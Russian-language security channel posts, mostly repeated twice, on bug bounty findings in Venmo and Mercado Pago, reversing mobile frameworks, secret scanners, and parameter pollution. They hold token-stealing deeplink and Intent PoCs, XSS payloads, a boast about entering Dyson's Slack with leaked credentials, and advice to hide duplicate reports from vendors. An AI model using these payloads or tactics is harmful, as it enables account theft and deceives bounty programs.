#mobile #deeplink
Наливайте чай, устраивайтесь поудобнее. Расскажу вам сказ, о том как нашёл уязвимость в мобильном приложении от PayPal https://hackerone.com/paypal?type=team
А именно речь пойдёт об их активе com.venmo
В одно прекрасное утро, как обычно, решил закинуть apk в jadx, чтобы найти уязвимость.
Просматривая строки кода, один класс, второй... Ничего интересного. Тут уж я расстроился, думал перейти к следующему активу, но мой глаз зацепился за класс webview.
Да-да, там была интересная функция которая автоматически присваивала AuthorizationToken при загрузке страницы в WebView.
Естественно можно было отправить url прямо в класс через deeplink
— Возможно она реализована неверно. Подумал я вслух.
А код проверки был следующим:
5
4
Верно, здесь забыли добавить точку
Радостный (конечно, ведь баунти 10к$) начал писать отчёт на hackerone. Потирая руки, приговаривая:
— Триагер приди, триагер приди
Триагер пришёл. Поставил Triage. Ура!
А потом поменял на Duplicate. Указав что у них уже есть отчёт с этой ошибкой 401940 . Моему негодованию не было предела.
Спустя год или два. PayPal наконец-то исправили приложение. Внеся невероятный Fix:
— Теперь пользователи PayPal в безопасности. Сказал вслух, закатывая глаза.
Однако, они по прежнему присваивают AuthorizationToken при загрузке url в webview. Нужно запомнить это знание.
Спустя два года, в мои лапы попала xss на поддомене
Не знаю, грустная эта история или весёлая. По крайней мере она мне кажется немного поучительной
P.S. история является реальной, все совпадения не случайны
Наливайте чай, устраивайтесь поудобнее. Расскажу вам сказ, о том как нашёл уязвимость в мобильном приложении от PayPal https://hackerone.com/paypal?type=team
А именно речь пойдёт об их активе com.venmo
В одно прекрасное утро, как обычно, решил закинуть apk в jadx, чтобы найти уязвимость.
Просматривая строки кода, один класс, второй... Ничего интересного. Тут уж я расстроился, думал перейти к следующему активу, но мой глаз зацепился за класс webview.
Да-да, там была интересная функция которая автоматически присваивала AuthorizationToken при загрузке страницы в WebView.
Естественно можно было отправить url прямо в класс через deeplink
venmo://webview?url=https://www.google.com/
Вот только там была проверка хоста. — Возможно она реализована неверно. Подумал я вслух.
А код проверки был следующим:
public static boolean isSecureVenmoHostUrl(Uri uri) {
boolean z = false;
if (uri == null) {
return false;
}
String host = uri.getHost();
String scheme = uri.getScheme();
if (host != null && scheme != null
&& scheme.equalsIgnoreCase(BuildConfig.SCHEME)
&& (host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith("venmo.biz")))
{
z = true;
}
return z;
}
Вам даётся 5 секунд, на то чтобы найти ошибку.5
4
Верно, здесь забыли добавить точку
host.endsWith("venmo.biz")
Недолго думая, я решил организовать PoC и проверить: <a href="venmo://webview?url=https://fakevenmo.biz/theft.html">PoC Intent Send</a>
К моему удивлению, url был успешно загружен и мне удалось украсть Authorization токен.Радостный (конечно, ведь баунти 10к$) начал писать отчёт на hackerone. Потирая руки, приговаривая:
— Триагер приди, триагер приди
Триагер пришёл. Поставил Triage. Ура!
А потом поменял на Duplicate. Указав что у них уже есть отчёт с этой ошибкой 401940 . Моему негодованию не было предела.
Спустя год или два. PayPal наконец-то исправили приложение. Внеся невероятный Fix:
host.endsWith(".venmo.biz")
Верно, они добавили точку. — Теперь пользователи PayPal в безопасности. Сказал вслух, закатывая глаза.
Однако, они по прежнему присваивают AuthorizationToken при загрузке url в webview. Нужно запомнить это знание.
Спустя два года, в мои лапы попала xss на поддомене
.venmo.com
Недолго думая, составил deeplink venmo://webview?url=https://legal.venmo.com/index.php?p=<noscript>alert()<noscript>
Успешно применив знание, я отправил отчёт в PayPal, и заполучил заслуженный reward.Не знаю, грустная эта история или весёлая. По крайней мере она мне кажется немного поучительной
P.S. история является реальной, все совпадения не случайны
🔥11👍7❤2
#mobile #intent
Когда у нас проходит пентест, на активах иногда обнаруживаются уязвимости одного типа. Чаще всего такие находки также воспроизводятся, имеют одинаковое происхождение и один исходный код. Например: на сайте есть множество полей, которые можно заполнить различными данными, и рядом с каждым полем есть кнопка "сохранить".
А теперь представьте, что каждое поле уязвимо к XSS. "Почему?" - спросите вы.
— Да потому, что каждое поле пусть и имеет разные конечные точки, функция отвечающая за санитизацию параметров у них одна santizeField(input)
В итоге мы наблюдаем в отчёте (особенно когда пентест whitebox), множество и множество разных url адресов, для совершенно разных полей и параметров.
Нельзя упустить ничего, вдруг к одному из url назначена другая функция и пиши пропало. Спасибо пентестеру, что перечислил все.
Или вот, пример, когда XSS одна, а CNAME для этого домена — много https://securitytrails.com/list/cname/tilda.ws
Но лучше вернуться к мобильным приложениям, ибо канал не для веб разработчиков. Что исследователю, который с помощью технологии drag&drop переместил apk в декомпилятор, хочется увидеть больше всего в результате?
Есть такое приложение Mercado Pago, оно предназначено для совершения онлайн платежей пользователями из Латинской Америки.
Платежи — дело важное, нужно защищать пользователей и их средства. Поэтому, для улучшения своих процессов AppSec, компанией было принято решение запустить программу BugBounty. Ну и выложили они там своё мобильное приложение.
Давайте вместе посмотрим из чего оно состоит. Открываем AndroidManifest.xml
Загружается...
Не может быть такого. Наверное, сейчас открою классы и в итоге там внутри окажется заглушка для флаттера.
На самом деле - действительно, вся логика приложения написана на Java (Kotlin).
Все эти 10 разных активити отвечающие за разные webview, открываются с помощью deeplink вида
Главное делать перерывы между отчётами, чтобы они не догадались о том, что уязвимости похожи.
После первого отчёта, и выплаты за него, спустя неделю, они внесли невероятный фикс для одной из десяти WebviewActivity, вот такой :
"Золотая жила! Больше мне не придётся работать." — подумал я.
Но жизнь не так проста, после нескольких отчётов они догадались и сразу внесли исправление для нескольких activity.
Проклятье! Ну и ладно, найду что-нибудь другое.
Просматривая классы, обнаружил следующий код в экспортированной активности:
Когда у нас проходит пентест, на активах иногда обнаруживаются уязвимости одного типа. Чаще всего такие находки также воспроизводятся, имеют одинаковое происхождение и один исходный код. Например: на сайте есть множество полей, которые можно заполнить различными данными, и рядом с каждым полем есть кнопка "сохранить".
А теперь представьте, что каждое поле уязвимо к XSS. "Почему?" - спросите вы.
— Да потому, что каждое поле пусть и имеет разные конечные точки, функция отвечающая за санитизацию параметров у них одна santizeField(input)
В итоге мы наблюдаем в отчёте (особенно когда пентест whitebox), множество и множество разных url адресов, для совершенно разных полей и параметров.
Нельзя упустить ничего, вдруг к одному из url назначена другая функция и пиши пропало. Спасибо пентестеру, что перечислил все.
Или вот, пример, когда XSS одна, а CNAME для этого домена — много https://securitytrails.com/list/cname/tilda.ws
Но лучше вернуться к мобильным приложениям, ибо канал не для веб разработчиков. Что исследователю, который с помощью технологии drag&drop переместил apk в декомпилятор, хочется увидеть больше всего в результате?
Есть такое приложение Mercado Pago, оно предназначено для совершения онлайн платежей пользователями из Латинской Америки.
Платежи — дело важное, нужно защищать пользователей и их средства. Поэтому, для улучшения своих процессов AppSec, компанией было принято решение запустить программу BugBounty. Ну и выложили они там своё мобильное приложение.
Давайте вместе посмотрим из чего оно состоит. Открываем AndroidManifest.xml
Загружается...
<activity android:name="com.mercadopago.activitiesdetail.activities.NewOperationDetailActivity" android:exported="true">— Невероятно, я не сплю? Это какая-то дичь, 100 экспортированных активностей!, и все они общаются постоянно между собой с помощью android.content.Intent?
<activity android:name="com.mercadopago.android.google.connect.core.webview.WebviewActivity" android:exported="true">
<activity android:name="com.mercadopago.withdraw.activities.SecondPassActivity" android:exported="true">
<activity android:name="com.mercadopago.withdraw.activities.WebviewActivity" android:exported="true">
<activity android:name="com.mercadopago.withdraw.activities.AddBankAccountActivity" android:exported="true">
<activity android:name="com.mercadopago.withdraw.activities.SelectBankAccountActivity" android:exported="true">
<activity android:name="com.mercadopago.withdraw.activities.SecondPassActivity" android:exported="true">
...+90
Не может быть такого. Наверное, сейчас открою классы и в итоге там внутри окажется заглушка для флаттера.
На самом деле - действительно, вся логика приложения написана на Java (Kotlin).
Все эти 10 разных активити отвечающие за разные webview, открываются с помощью deeplink вида
mercadopago://wallet?url=http://google.com
Естественно, я начал писать отчёты в компанию о Невероятной Угрозе Информационной Безопасности Пользователей, каждому отчёту присваивал Средний Уровень Серьёзности , и описывал насколько велика угроза фишинга в виде открытой страницы внутри платёжного приложения.Главное делать перерывы между отчётами, чтобы они не догадались о том, что уязвимости похожи.
После первого отчёта, и выплаты за него, спустя неделю, они внесли невероятный фикс для одной из десяти WebviewActivity, вот такой :
android:exported="false"
Затем, как можно более аккуратно, отправлял один отчёт за другим."Золотая жила! Больше мне не придётся работать." — подумал я.
Но жизнь не так проста, после нескольких отчётов они догадались и сразу внесли исправление для нескольких activity.
Проклятье! Ну и ладно, найду что-нибудь другое.
Просматривая классы, обнаружил следующий код в экспортированной активности:
👍8
Intent intent = (Intent) SelectBankAccountActivity.this.getIntent().getParcelableExtra("select_bank_next_intent_extra");
SelectBankAccountActivity.this.startActivity(intent);
SelectBankAccountActivity.this.finish();
Да, вашему взору предстала стандартная уязвимость когда используя злонамеренное намерение можно получить доступ к защищенным(не экспортированным) компонентам приложения. Смысл в том что приложение забирает из FlowState "объект" который может отправить злоумышленник, а потом запускает.Ура! Теперь осталось составить PoC:
Intent next = new Intent("android.intent.action.VIEW");
next.setClassName(????)
//...
Intent intent = new Intent("android.intent.action.VIEW");
intent.putExtra("select_bank_next_intent_extra", next);
startActivity(intent);
Но в какую activity отправить злонамеренный intent от имени приложения, если все activity и так уже экспортированы?Проявляя невероятную находчивость. Мне удалось найти внутри приложения кеш okhttp в котором хранились запросы с access_token.
Недолго думая, я наконец-то придумал содержимое для переменной next
Intent next = new Intent("android.intent.action.VIEW");
next.setClassName(getPackageName(),"com.myclass.Theft");
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
next.setData(Uri.parse("content://com.mercado.wallet.provider/images/okhttp/journal"));
Выставив уровень серьёзности High — получил ещё один, залуженный reward. И знаете, там ещё было с десяток таких activity, которые запускали вложенный intent.Разработчики делали следующий фикс: они убирали запуск вложенного intent и ставили
exported="false"
Но даже на 5 отчёте с этой уязвимостью, они не отключили кеш okhttp.Подводя итоги, нужно найти тонкую грань, где начинается одна уязвимость и заканчивается вторая, чтобы правильно внести исправление.
Разработчики, не делайте такую архитектуру для приложений, не извлекайте из стороннего приложения ParcelableIntent для его последующего запуска. Надеюсь ваш код всегда будет безопасным!
👍3❤1
#mobile #frameworks
Небольшой пост про анализ защищённости мобильного приложения написанного с использованием фреймворка.
Первым делом начинаем проверку с уровня верификации MASVS-R
Для Реверса React Native:
Если вам повезло и движок Hermes не используется, то вы можете просто взять js из
Если движок использован на обеих платформах, можно взять hbctool — утилита для дизассемблирования байт-кода Hermes.
Также полезно будет прочитать CTF-writeup по реверсу приложения на реакте.
Для Реверса Cordova:
Применить js-beautify на
Для реверса Flutter:
Приложение для отладки? Проверьте исходный код в файле
Проект reFlutter позволяет использовать уже готовые или создавать собственные движки с патчами.
JEB добавил поддержку некоторых движков.
Несколько интересных статей.
Для реверса Ionic:
Ещё один js, разархивируем apk/ipa
Для реверса Xamarin:
Используем dotPeek на dll файле из распакованного apk
Статья, и заметка
Теперь, после того как мы сообщили владельцу кроссплатформенного приложения, о недостатках в обфускации и дали рекомендации как защищаться от реверса и отладки. Перейдём к уязвимостям в логике кода.
Справедливо можно сказать, что большинство уязвимостей привязано к платформе, а не к движку/языку. Скорее всего это будут такие вещи как IPC или файловый/сетевой ввод-вывод. Действительно, фреймворк позволяет не допускать тех ошибок, которые обычно встречаются в нативе, но это скорее из-за "ограничений" исходящих от фреймворка. Взять хотя бы баги связанные с Intent, для того чтобы передать данные другому приложению: Flutter, React Native, Xamarin им всё равно придётся использовать нативные функции. Например во flutter, чтобы использовать intent реализован пакет android_intent_plus или вот реализация в React Native.
Intent отсылается из кода Dart посредством MethodChannel в Java функцию и в финале всё равно отправляется как android.content.Intent
....
Однажды на проекте попалось Flutter приложение, код авторизации отправлялся посредством deeplink c веб страницы через
Это был пример IPC.
Давайте обратимся к файловой системе. Вот пример отчёта #1377748 содержащего code execution путём замены lib файла. Evernote скачивает файл на несколько каталогов назад, в папку
Кстати Content Provider тоже используется через MethodChannel и уязвимость связанная с обходом пути в _display_name о которой говорится в отчёте выше также должна работать поскольку в финале у нас всё равно android.content.ContentProvider
Но не всегда баги завязаны на платформе, действительно, возможно в скором времени будут появляться баги связанные непосредственно с фреймворками.
Помните старую багу в Android ОС
Эта ошибка была здесь https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/net/Uri.java#497
Функция отвечает за парсинг Uri.
А теперь откроем исходный код flutter, здесь реализована аналогичная функция парсинга Uri, но уже на стороне dart. Разработчик скорее использует её для проверки хоста, чем cделает это на стороне Java. Если здесь допущена уязвимость — issue будет создан в репозитории flutter.
Небольшой пост про анализ защищённости мобильного приложения написанного с использованием фреймворка.
Первым делом начинаем проверку с уровня верификации MASVS-R
Для Реверса React Native:
Если вам повезло и движок Hermes не используется, то вы можете просто взять js из
unzipApk/assets/index.android.bundle
Попробуйте проверить версию под iOS может быть там не использован движок и javanoscript находится в открытом виде.Если движок использован на обеих платформах, можно взять hbctool — утилита для дизассемблирования байт-кода Hermes.
Также полезно будет прочитать CTF-writeup по реверсу приложения на реакте.
Для Реверса Cordova:
Применить js-beautify на
unzipApk/assets/www/
Также статья про дебаг таких приложенийДля реверса Flutter:
Приложение для отладки? Проверьте исходный код в файле
unzipApk/assets/flutter_assets/kernel_blob.bin
В случае когда приложение скомпилировано в release и использует AOT Snapshot: флаг obfuscate может быть не использован, тогда из файла libapp.so можно вытащить имена классов и библиотек. Иногда встречал что флаг выставлен на Android, но не на iOS. Проект reFlutter позволяет использовать уже готовые или создавать собственные движки с патчами.
JEB добавил поддержку некоторых движков.
Несколько интересных статей.
Для реверса Ionic:
Ещё один js, разархивируем apk/ipa
Для реверса Xamarin:
Используем dotPeek на dll файле из распакованного apk
Статья, и заметка
Теперь, после того как мы сообщили владельцу кроссплатформенного приложения, о недостатках в обфускации и дали рекомендации как защищаться от реверса и отладки. Перейдём к уязвимостям в логике кода.
Справедливо можно сказать, что большинство уязвимостей привязано к платформе, а не к движку/языку. Скорее всего это будут такие вещи как IPC или файловый/сетевой ввод-вывод. Действительно, фреймворк позволяет не допускать тех ошибок, которые обычно встречаются в нативе, но это скорее из-за "ограничений" исходящих от фреймворка. Взять хотя бы баги связанные с Intent, для того чтобы передать данные другому приложению: Flutter, React Native, Xamarin им всё равно придётся использовать нативные функции. Например во flutter, чтобы использовать intent реализован пакет android_intent_plus или вот реализация в React Native.
Intent отсылается из кода Dart посредством MethodChannel в Java функцию и в финале всё равно отправляется как android.content.Intent
....
Однажды на проекте попалось Flutter приложение, код авторизации отправлялся посредством deeplink c веб страницы через
html.href="myapp://host
Быстро было создано фальшивое приложение принимающее нужную схему и перехватывающее код авторизации раньше чем оригинальное. Как результат использование фреймворка не спасло. Это был пример IPC.
Давайте обратимся к файловой системе. Вот пример отчёта #1377748 содержащего code execution путём замены lib файла. Evernote скачивает файл на несколько каталогов назад, в папку
../../../lib-1/libjnigraphics.so Приложение слишком доверяет серверу и подставляет недопустимое имя файла вложения из заголовка content-disposition.Кстати Content Provider тоже используется через MethodChannel и уязвимость связанная с обходом пути в _display_name о которой говорится в отчёте выше также должна работать поскольку в финале у нас всё равно android.content.ContentProvider
Но не всегда баги завязаны на платформе, действительно, возможно в скором времени будут появляться баги связанные непосредственно с фреймворками.
Помните старую багу в Android ОС
http://attacker.com\\\\@legitimate.com/ , когда обратный слеш не считался за путь а хост для url был legitimate.comЭта ошибка была здесь https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/net/Uri.java#497
Функция отвечает за парсинг Uri.
А теперь откроем исходный код flutter, здесь реализована аналогичная функция парсинга Uri, но уже на стороне dart. Разработчик скорее использует её для проверки хоста, чем cделает это на стороне Java. Если здесь допущена уязвимость — issue будет создан в репозитории flutter.
👍7🔥1
#sdlc #apikeys
> хей, подскажите, чем нынче модно искать всякие лики секретов на сайте? для бёрпа или лучше браузера?
Разработчики часто совершают ошибки управления секретами, особенно в незрелом процессе SDLC. В кодовую базу попадают пароли, хардкодятся API-ключи к CI/CD, заносятся учетные данные пользователей. Для того чтобы отслеживать наличие секретов существует ряд утилит:
github.com/eth0izzle/shhgit — отслеживает все коммиты через api GitHub и BitBucket для поиска конфиденциальных данных в режиме реального времени. Однажды нашёл с помощью этой утилиты креды от QA сотрудника Dyson. Как итог удалось скачать сорцы главного сайта и зайти в их Slack. Однако внимательный читатель заметит, что последний коммит был два года назад, верно, автор замутил на основе этого стартап и начал продавать как SaaS.
github.com/zricethezav/gitleaks — инструмент SAST для обнаружения и предотвращения жестко закодированных секретов, таких как пароли, ключи API и токены в репозиториях git. Можно использовать на склонированном репозитории локально.
github.com/hisxo/gitGraber — функциями схож с shhgit, однако есть некий фильтр по компаниям, вообще работает всё это дело так api.github.com/search/code?q=Компания|Yahoo, а затем уже в результатах ищет секреты.
github.com/securing/DumpsterDiver — если предыдущие утилиты искали ключи используя regex, то этот использует метод вычисления энтропии, есть возможность задать порог. Например для Azure Shared ключа порог будет начинаться от 5.1. Из плюсов ищет не только в git, но и в любой папке.
github.com/trufflesecurity/trufflehog — по функционалу ближе всего к gitleaks. Доступен в github actions.
github.com/newrelic/rusty-hog — trufflehog на rust.
github.com/Skyscanner/whispers — ищет секреты используя regex, не только в git, но и в папке/файлах. Прост в установке и может интегрироваться в конвейер CI/CD.
> Хочу искать секреты и вне работы!
Ок, вот тебе Extension TruffleHog под Chromium. Просто гуляя по сайтам, это чудо-расширение будет искать секреты на страницах и выводить
> И как мне самому узнать, какая утилита лучше всего ищет секреты?
Вот вам файл со специально забытыми api ключами на github.com/sourcegraph-community/no-secrets/blob/main/secret-examples.md
> Нашёл ключ что мне делать?
Тестировать и проверять на действительность используя этот замечательный репозиторий github.com/streaak/keyhacks
> Когда в github добавят нормальный regex?
Уже добавили, вот поиск по всему github используя Regex Facebook key: cs.github.com/?scopeName=All+repos&scope=&q=%2FEAACEdEose0cBA%5B0-9A-Za-z%5D%2B%2F
Но вам придётся запросить у github инвайт в их beta =)
> хей, подскажите, чем нынче модно искать всякие лики секретов на сайте? для бёрпа или лучше браузера?
Разработчики часто совершают ошибки управления секретами, особенно в незрелом процессе SDLC. В кодовую базу попадают пароли, хардкодятся API-ключи к CI/CD, заносятся учетные данные пользователей. Для того чтобы отслеживать наличие секретов существует ряд утилит:
github.com/eth0izzle/shhgit — отслеживает все коммиты через api GitHub и BitBucket для поиска конфиденциальных данных в режиме реального времени. Однажды нашёл с помощью этой утилиты креды от QA сотрудника Dyson. Как итог удалось скачать сорцы главного сайта и зайти в их Slack. Однако внимательный читатель заметит, что последний коммит был два года назад, верно, автор замутил на основе этого стартап и начал продавать как SaaS.
github.com/zricethezav/gitleaks — инструмент SAST для обнаружения и предотвращения жестко закодированных секретов, таких как пароли, ключи API и токены в репозиториях git. Можно использовать на склонированном репозитории локально.
github.com/hisxo/gitGraber — функциями схож с shhgit, однако есть некий фильтр по компаниям, вообще работает всё это дело так api.github.com/search/code?q=Компания|Yahoo, а затем уже в результатах ищет секреты.
github.com/securing/DumpsterDiver — если предыдущие утилиты искали ключи используя regex, то этот использует метод вычисления энтропии, есть возможность задать порог. Например для Azure Shared ключа порог будет начинаться от 5.1. Из плюсов ищет не только в git, но и в любой папке.
github.com/trufflesecurity/trufflehog — по функционалу ближе всего к gitleaks. Доступен в github actions.
github.com/newrelic/rusty-hog — trufflehog на rust.
github.com/Skyscanner/whispers — ищет секреты используя regex, не только в git, но и в папке/файлах. Прост в установке и может интегрироваться в конвейер CI/CD.
> Хочу искать секреты и вне работы!
Ок, вот тебе Extension TruffleHog под Chromium. Просто гуляя по сайтам, это чудо-расширение будет искать секреты на страницах и выводить
alert(apikey) в случаях совпадения. У расширения есть настройки, которые включают автоматические get запросы для файлов .git или .env на сайте.> И как мне самому узнать, какая утилита лучше всего ищет секреты?
Вот вам файл со специально забытыми api ключами на github.com/sourcegraph-community/no-secrets/blob/main/secret-examples.md
> Нашёл ключ что мне делать?
Тестировать и проверять на действительность используя этот замечательный репозиторий github.com/streaak/keyhacks
> Когда в github добавят нормальный regex?
Уже добавили, вот поиск по всему github используя Regex Facebook key: cs.github.com/?scopeName=All+repos&scope=&q=%2FEAACEdEose0cBA%5B0-9A-Za-z%5D%2B%2F
Но вам придётся запросить у github инвайт в их beta =)
🔥19👍4❤1❤🔥1
#api #params
> Ничего не могу найти на сайте, может ещё что-то посмотреть?
Иногда встречается сайт, на котором всего лишь несколько конечных точек. Казалось, все параметры были проверены на уязвимости, а в чек-листе отмечены любые возможные проверки на инъекции и логику.
Однако, бывают уязвимости, которые не видны с первого взгляда. Например (CAPEC-460) HTTP Parameter Pollution или (CWE-472) External Control of Assumed-Immutable Web Parameter. Данные ошибки возникают из-за неожиданного поведения в функциях обработки параметров.
Давайте рассмотрим первую атаку HTTP Parameter Pollution, она состоит из возможности добавления повторяющихся параметров с помощью специальных разделителей запроса.
Например, у нас открыт сайт по продаже арбузов в браузере
Это происходит, потому что Apache Tomcat 🐈 при анализе двух одинаковых параметров (
Но не все сервера используют приоритет порядка, так, например, ASP.NET/IIS конкатенирует значения. Поэтому в случаях, когда выполнению XSS мешает санитизация или WAF, можно составить следующий payload:
Помимо приоритетов, нужно также вспомнить о разделителях для параметров. Существует не только привычный & (амперсанд) и , (запятая) но и ряд других символов, тут нужно обратиться к стандартам и поискать реализации. Если открыть (rfc6570) URI Template можно найти Path-Style Parameter
Обычный URL будет следующим:
• CVE-2021-23336 — Python библиотека
• ParseThru — Go библиотека
{"client_id":4, "client_id":17, "action":"delete"}
> Ничего не могу найти на сайте, может ещё что-то посмотреть?
Иногда встречается сайт, на котором всего лишь несколько конечных точек. Казалось, все параметры были проверены на уязвимости, а в чек-листе отмечены любые возможные проверки на инъекции и логику.
Однако, бывают уязвимости, которые не видны с первого взгляда. Например (CAPEC-460) HTTP Parameter Pollution или (CWE-472) External Control of Assumed-Immutable Web Parameter. Данные ошибки возникают из-за неожиданного поведения в функциях обработки параметров.
Давайте рассмотрим первую атаку HTTP Parameter Pollution, она состоит из возможности добавления повторяющихся параметров с помощью специальных разделителей запроса.
Например, у нас открыт сайт по продаже арбузов в браузере
🌐 example.com/profile.jsp?client_id=1
Для кнопки "Открыть профиль" устанавливается динамически в ответе от сервера html:<a href="profile.jsp?client_id=1&action=view
А теперь изменим запрос добавив в него параметр и закодировав разделитель & как %26:🌐 example.com/profile.jsp?client_id=1%26action%3Ddelete
В результате для кнопки "Открыть профиль" задаётся html:<a href="profile.jsp?client_id=1&action=delete&action=view
При нажатии на кнопку — профиль пользователя будет удалён. Для того чтобы заставить жертву удалить свой аккаунт, нам нужно отправить ей ссылку и подождать.Это происходит, потому что Apache Tomcat 🐈 при анализе двух одинаковых параметров (
action) берёт значение первого:&action=delete&action=view
Вот так выглядит код на стороне сервера:String client_id = request.getParameter("client_id");
GetMethod get = new GetMethod("https://example.com/profile");
get.setQueryString("client_id=" + client_id + "&action=" + action);
href_link=get.URL;
Разработчик должен был учесть такое поведение и проверить возможность внедрения параметра action в client_id
Вообще, приоритет и процесс обработки параметров можно взять из этой таблицы ниже:Technology/HTTP backend | Parsing Result | Example |Так, для Server: Apache Tomcat будет взято значение из первого совпадения
---------------------------------------------------------------------
ASP.NET/IIS | All occurrences | par1=val1,val2 |
ASP/IIS | All occurrences | par1=val1,val2 |
PHP/Apache | Last occurrence | par1=val2 |
JSP Servlet/Apache Tomcat | First occurrence | par1=val1 |
JSP Servlet/Oracle Application | First occurrence | par1=val1 |
IBM HTTP Server | First occurrence | par1=val1 |
action=delete
А для Server: Apache значение уже будет action=view — последний параметрНо не все сервера используют приоритет порядка, так, например, ASP.NET/IIS конкатенирует значения. Поэтому в случаях, когда выполнению XSS мешает санитизация или WAF, можно составить следующий payload:
example.com/search?param=<audio/n="¶m="src/onerror=alert()>
В результате на странице html будет <audio n="," src/onerror=alert()> и XSS успешно сработает 💣Помимо приоритетов, нужно также вспомнить о разделителях для параметров. Существует не только привычный & (амперсанд) и , (запятая) но и ряд других символов, тут нужно обратиться к стандартам и поискать реализации. Если открыть (rfc6570) URI Template можно найти Path-Style Parameter
Обычный URL будет следующим:
example.com/users?role=admin&firstName=N
А теперь преобразуем его в вид Path-Style:example.com/users;role=admin;firstName=N
Использование в качестве разделителя ; (точки с запятой) не повсеместно. Это приводит к различиям обработки во фреймворках и как следствие к уязвимостям, в частности, на микросервисных архитектурах: • CVE-2021-23336 — Python библиотека
urllib.parse.parse_qsl не игнорирует точку с запятой.• ParseThru — Go библиотека
net/url не игнорирует точку с запятой и выводит предупреждение http: URL query contains semicolon...
Следует помнить, что уязвимость HTTP Parameter Pollution может возникать не только в URL, но и в любой части POST/GET запроса, а также в теле JSON.{"client_id":4, "client_id":17, "action":"delete"}
👍31🔥9❤🔥2🕊2🌚2❤1
top_application_programming_interface_directories.txt
399.5 KB
#api #wordlist
Раньше мы выполняли брутфорс только для статических файлов и папок. Но в современных реалиях, мы всё больше встречаем приложения, которые работают посредством конечных точек API. Это означает, что подход должен меняться, давайте рассмотрим специфику.
Возьмём, в качестве примера, запрос на удаление аккаунта пользователя:
2. Вам нужно в запросе использовать метод DELETE
3. Поставить верный Content-Type
4. В последнем пути — нужно добавить число.
В противном случае ответ будет: 404 Not Found
Из этого следует, что нужен хороший словарь, специфичный для API, а также ротация методов GET, POST, DELETE, etc.
При брутфорсе нас интересуют следующие поля (%s):
Нарезал сущности и отфильтровал их по популярности — файл прикреплён к посту.
Раньше мы выполняли брутфорс только для статических файлов и папок. Но в современных реалиях, мы всё больше встречаем приложения, которые работают посредством конечных точек API. Это означает, что подход должен меняться, давайте рассмотрим специфику.
Возьмём, в качестве примера, запрос на удаление аккаунта пользователя:
DELETE /api/v1/users/<int> HTTP/21. Для того чтобы обнаружить эту конечную точку, в словаре должны быть сущности : api, v1, users
Host: example.com
Content-Type: application/xml
HTTP/2 200 OK
Connection: close
2. Вам нужно в запросе использовать метод DELETE
3. Поставить верный Content-Type
4. В последнем пути — нужно добавить число.
В противном случае ответ будет: 404 Not Found
Из этого следует, что нужен хороший словарь, специфичный для API, а также ротация методов GET, POST, DELETE, etc.
При брутфорсе нас интересуют следующие поля (%s):
%s /api/v1/%s/<int> HTTP/2Поскольку обычные словари не нацелены на API спецификацию, я собрал свой. Для этого использовал замечательный массив данных от Assetnote из 67 500 файлов Swagger, собранных с помощью Google BigQuery.
Host: example.com
Content-Type: %s
Нарезал сущности и отфильтровал их по популярности — файл прикреплён к посту.
👍34🔥14🕊4🐳4❤3❤🔥1🤔1
Forwarded from Кавычка (Impact)
#api #params #tool
Помимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить.
Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.
Первая это плагин для BurpSuite. Вторая — консольная утилита на Python.
Относительно недавно, появилась новая консольная утилита x8
Она написана на языке Rust, разработчиком является багхантер @sh1y0
Около 40% уязвимостей на h1 он нашёл с её использованием
К слову, багхантеры за рубежом не стесняются встраивать её в свои конвейеры для поиска уязвимостей.
На мой взгляд, данная тула наиболее эффективна, и сейчас мы разберёмся почему.
1. Arjun, в отличие от x8, имеет фиксированное значение параметров при брутфорсе (по умолчанию 500).
Это значит, что в запросе из вордлиста будут отсылаться сразу 500 параметров:
2. Ещё одним важным отличием являются функции сравнения ответов на странице.
Arjun сохраняет тело первого ответа и сравнивает с ответом нового запроса. Если есть разница — выводит сообщение о том что параметр влияет на ответ.
Естественно, проблема здесь очевидна, содержимое в ответе может быть всегда динамическим. Например, в теле ответа иногда встроен datetime.
x8 лишён данной проблемы, из-за наличия специальных тестовых запросов, которые нужны для выявления динамических строк — исключая их таким образом из поиска.
3. Arjun поддерживает методы только GET и POST, а Param Miner не умеет искать рекурсивным поиском.
Кроме того, в x8 есть гибкая настройка отправки параметров — концепция шаблонов и injection pointов, которая отсутствует в других инструментах.
Вообще, автор создал табличку, где сравнивает все три решения sh1yo.art/x8stats/
Так можно оценить эффективность работы на реальных сайтах.
Пример использования:
Помимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить.
Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.
public class User {
private String userid;
private String password;
private String email;
private boolean isAdmin;
}
Чтобы правильно и эффективно находить такие вещи, нам нужен подход или утилита. Самые известные вот эти две: Param Miner и ArjunПервая это плагин для BurpSuite. Вторая — консольная утилита на Python.
Относительно недавно, появилась новая консольная утилита x8
Она написана на языке Rust, разработчиком является багхантер @sh1y0
Около 40% уязвимостей на h1 он нашёл с её использованием
К слову, багхантеры за рубежом не стесняются встраивать её в свои конвейеры для поиска уязвимостей.
На мой взгляд, данная тула наиболее эффективна, и сейчас мы разберёмся почему.
1. Arjun, в отличие от x8, имеет фиксированное значение параметров при брутфорсе (по умолчанию 500).
Это значит, что в запросе из вордлиста будут отсылаться сразу 500 параметров:
/?param1=test¶m2=test&...¶m500=test
Проблема здесь заключается в том, что многие серверы будут отдавать 414 URI Too Long, либо банально игнорировать последние 200 параметров. Таким образом, даже если в вашем текстовом файле есть нужный параметр — он не будет найден.2. Ещё одним важным отличием являются функции сравнения ответов на странице.
Arjun сохраняет тело первого ответа и сравнивает с ответом нового запроса. Если есть разница — выводит сообщение о том что параметр влияет на ответ.
Естественно, проблема здесь очевидна, содержимое в ответе может быть всегда динамическим. Например, в теле ответа иногда встроен datetime.
x8 лишён данной проблемы, из-за наличия специальных тестовых запросов, которые нужны для выявления динамических строк — исключая их таким образом из поиска.
HTTP/1.1 200 OKКак видно из примера, строка которая содержит время, исключена и помечена как динамическая.
Content-Length: 18
<html>
- Time 13:36:23
<id="test">
HTTP/1.1 200 OKЗдесь x8 понимает, что параметр найден из-за изменений в теге id.
Content-Length: 37
<html>
